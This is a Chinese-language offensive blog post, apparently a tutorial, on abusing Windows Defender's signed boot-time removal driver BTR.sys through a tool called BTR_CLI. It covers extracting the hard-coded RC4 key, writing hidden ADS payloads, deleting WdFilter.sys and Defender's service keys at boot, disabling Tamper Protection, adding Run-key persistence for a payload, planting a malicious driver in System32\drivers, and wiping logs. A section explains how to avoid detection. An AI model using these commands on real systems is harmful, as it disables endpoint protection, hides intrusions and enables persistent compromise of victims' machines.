用微软的刀,杀微软的盾:BTR.sys Ring-0 免杀

用微软的刀,杀微软的盾:BTR.sys Ring-0 免杀

简介

  • Windows Defender 的内核驱动 BTR.sys(Boot Time Removal)。这个驱动的作用是:当 Defender 用户态服务因文件被占用而无法删除恶意软件时,在启动阶段的"黄金窗口"内完成清理。

这个机制完全可以被逆向利用

BTR.sys 有以下几个对攻击者极其友好的特性:

  1. 微软签名,WDAC 白名单信任,不会被拦

  2. Ring-0 权限,直接操作文件系统,无视文件锁

  3. 跳过 SCM,注册表直接写入,不触发 Event ID 7045

  4. 自带反取证,执行后自动删除自己的日志

  5. 无需漏洞,不需要任何 0day,普通管理员权限即可

这意味着什么?意味着我们可以用这个驱动做任意文件删除、任意注册表写入、任意驱动加载——而且 Sysmon 看到的发起者是 PID 4(System)

不需要漏洞、不需要 BYOVD、不需要自定义驱动。微软签名的 BTR.sys 自带 SYSTEM 权限,天然绕过所有用户态 EDR 监控

原理:BTR.sys 为什么能绕过 EDR?

用户态 EDR 的盲区

主流 EDR(CrowdStrike、SentinelOne、Defender for Endpoint 等)的工作方式是在用户态挂钩 ntdll.dll 的系统调用,并通过内核回调监控文件/进程/网络行为。

但有一个前提:这些检测手段都在用户态或 Ring-3

BTR.sys 的运行环境是 Ring-0,且执行时机在用户态 Defender 服务启动之前(boot-time 模式)。这意味着:

  • 用户态 EDR 的 Hook 根本没有加载

  • 内核回调虽然存在,但 BTR.sys 的 API 调用走的是 Defender 自己的合法路径

  • Sysmon 记录的操作来源是 System (PID 4),无法追溯到具体进程

事务协议:加密的隐蔽通道

BTR.sys 与用户态的通信通过 NTFS 备用数据流(ADS)完成:

随机文件名.sys:changelist    ← 加密的事务配置
随机文件名.sys:<random>.dat  ← 执行结果反馈

整个事务载荷使用 256 字节硬编码 RC4 密钥加密,CRC32 校验完整性。密钥自 Windows 7 以来从未变更,任何人都可以从 MpEngine.dll 中提取。

Action ID 与绕过能力

#

能力

免杀价值

1

内核级文件删除

绕过文件锁,删除被保护的样本

2

文件移动/ Quarantine

任意写,可写入 System32\drivers

3

注册表写入

持久化、Tamper Protection 绕过

4

注册表删除

删除安全软件服务配置

3 是最关键的——它允许将任意文件移动到任意位置,包括 C:\Windows\System32\drivers\。配合 boot-time 触发,可以在 Defender 加载前完成恶意驱动的部署。

七度光 www.qdg.tw 七度光 www.qdg.tw Windows Defender 启动时清理机制滥用链路 管理员权限启动 SeLoadDriverPrivilege 提权 路径A:从 MpEngine.dll 提取 - 定位 Windows Defender 定义目录 - 以数据文件方式加载 MpEngine.dll - 内存扫描提取 RC4 密钥(256字节) 步骤 2 路径B:从内嵌资源提取(备用) - 查找 BOOTTIMETOOL 资源 - 写入临时目录 random.sys - MpEngine.dll 未找到时使用 步骤 2b RC4 密钥验证 256字节硬编码密钥 · Windows 7 以来未变更 · 从 MpEngine.dll 提取 生成加密配置载荷 - 写入 NTFS ADS: random.sys:changelist - CRC32 完整性校验 - RC4 加密事务数据 步骤 4 创建注册表服务 - HKLM\...\Services\{随机名} - 分组: Boot Bus Extender - 绕过 SCM(不触发 Event ID 7045) 步骤 5 立即执行 trigger=now 重启触发 ★ 最免杀 链式执行 trigger=chain 清理痕迹 -cleanup 参数 绕过 EDR 监控 Ring-0 直接操作 归属 PID 4 无法追溯用户进程 不触发服务日志 绕过 Event ID 7045 自带反取证 ADS + 驱动自动删除

实战操作

  • 准备环境

项类别

详细内容

操作系统

Windows 11 25H2 或 Windows Server 2025

安全软件

启用 Microsoft Defender

权限

管理员权限(需要 SeLoadDriverPrivilege

文件系统

NTFS(ADS 依赖)

验证环境

确认管理员权限

whoami /groups | findstr "SeLoadDriver"

确认 Defender 正在运行

Get-Service WinDefend | Select-Object Status, StartType

确认 BTR.sys 存在于系统中

Get-WindowsDriver -Online | Where-Object {$_.Driver -like "*btr*"}

步骤一:尝试普通删除(会被拦截)

假设我们有一个被 Defender 实时监控的样本,无法直接删除:

Remove-Item C:\Users\test\malware.exe
# AccessDenied - Defender 保护中

步骤二:使用 BTR_CLI 内核级删除

.\BTR_CLI.exe -a 1 -s "C:\Users\test\malware.exe"

步骤三:查看返回结果

[*] Attempting extraction from: C:\Program Files\Windows Defender\MpEngine.dll
[*] RC4 Key MATCHED in memory. Dropping driver...
[*] Preparing Driver...
[*] Generating Payload - Config Creation...
[+] Configuration written to ADS: xqnjtaq.sys:changelist
[*] Loading Driver Service...
[+] SUCCESS: Driver executed (Status: 0x0)
[*] Starting Cleanup...
[+] Driver and all ADS artifacts removed

关键点:文件被删除后,ADS 自动清理,不留痕迹。

Boot-time 模式绕过用户态 EDR

这是最关键的免杀技术。 在系统启动的 Golden Window 内执行,用户态 EDR 尚未加载。

步骤一:预约下次启动时删除 WdFilter.sys

.\BTR_CLI.exe -a 1 -s "C:\Windows\System32\drivers\WdFilter.sys" -trigger boot

步骤二:查看返回结果

[*] Service created: \Registry\Machine\System\CurrentControlSet\Services\{random}
[+] Driver staged for boot execution.
[+] Service Name: xqnjtaq
[+] Driver Path:  C:\Windows\Temp\xqnjtaq.sys
[*] Please reboot the system to trigger the driver.

步骤三:重启系统

重启后,在用户态 Defender 服务启动之前,BTR.sys 已经执行了删除操作。此时:

  • 没有任何 EDR Hook 在内存中

  • 没有用户态监控进程

  • 删除操作以 System 身份执行

Chain 模式一次性清除多个防护组件

步骤一:执行链式删除

.\BTR_CLI.exe -chain `
  -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" `
  -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" `
  -item "4|HKLM\SYSTEM\CurrentControlSet\Services\WdBoot"

步骤二:确认结果

三个服务键同时被删除,Defender 无法启动

注册表写入持久化

步骤一:写入 Run 键实现开机自启

.\BTR_CLI.exe -a 6 `
  -s "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" `
  -d "UpdateChecker" `
  -v "C:\Users\test\payload.exe" `
  -t 1

步骤二:写入 Tamper Protection 禁用键

.\BTR_CLI.exe -a 6 `
  -s "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" `
  -d "TamperProtection" `
  -v "0x0" `
  -t 4

注意:注册表写入操作会被 Sysmon Event ID 12/13 记录,但发起进程显示为 System (PID 4),增加了溯源难度。

任意文件写入 System32\drivers

步骤一:将恶意驱动移动到 System32\drivers

.\BTR_CLI.exe -a 3 `
  -s "C:\Users\test\malicious.sys" `
  -d "C:\Windows\System32\drivers\malicious.sys" `
  -trigger boot

步骤二:验证写入结果

移动到 System32\drivers 后,驱动可以被标记为"系统组件",规避基于路径的扫描。

Sysmon 事件分析

使用 BTR_CLI 时,Sysmon 会记录以下事件:

内容

归属进程

检测难度

DriverLoad

System (PID 4)

中 — 需关联加载时机

Registry Event

System (PID 4)

高 — 无法追溯用户进程

FileDelete

System (PID 4)

高 — 无法追溯用户进程

FileCreate

System (PID 4)

关键特征:所有操作的发起进程都是 System (PID 4)。正常系统管理中,PID 4 不会直接操作文件,这是一个异常指标。

如何避免被检测

使用 Boot-time 模式

-trigger boot

在 Golden Window 内执行,用户态 EDR 未加载,没有任何 Hook 可以记录操作。这是最干净的免杀方式。

利用 Defender 自身的行为特征

BTR.sys 是 Defender 的合法组件,其执行模式与正常威胁清理一致。可以构造与 Defender 行为相似的载荷:

操作:模拟 Defender 清理行为 — 先删除日志,再删除目标

.\BTR_CLI.exe -chain `
  -item "1|C:\Windows\Temp\BootClean.log" `
  -item "1|C:\Users\test\malware.exe"

使用随机化文件名

BTR_CLI 自动生成随机驱动的文件夹名(8 个随机小写字母),增加了基于文件名的检测难度。

当前检测能力评估

检测手段

效果

说明

文件哈希

不可检测

BTR.sys 是微软签名文件

进程白名单

不可检测

System (PID 4) 永远合法

用户态 EDR Hook

不可检测

Ring-0 直接操作,绕过用户态

Sysmon PID 4 监控

部分检测

可检测但需行为分析

ETW 内核回调

部分检测

可监控但 BTR 走合法路径

HVCI/VBS

部分检测

可限制但无法完全阻止

工具下载

macOS 屏幕共享认证绕过:从零凭据到 Root 权限接管 2026-08-25
从云同步到内核盲区:ShieldBreak 免杀 2026-08-25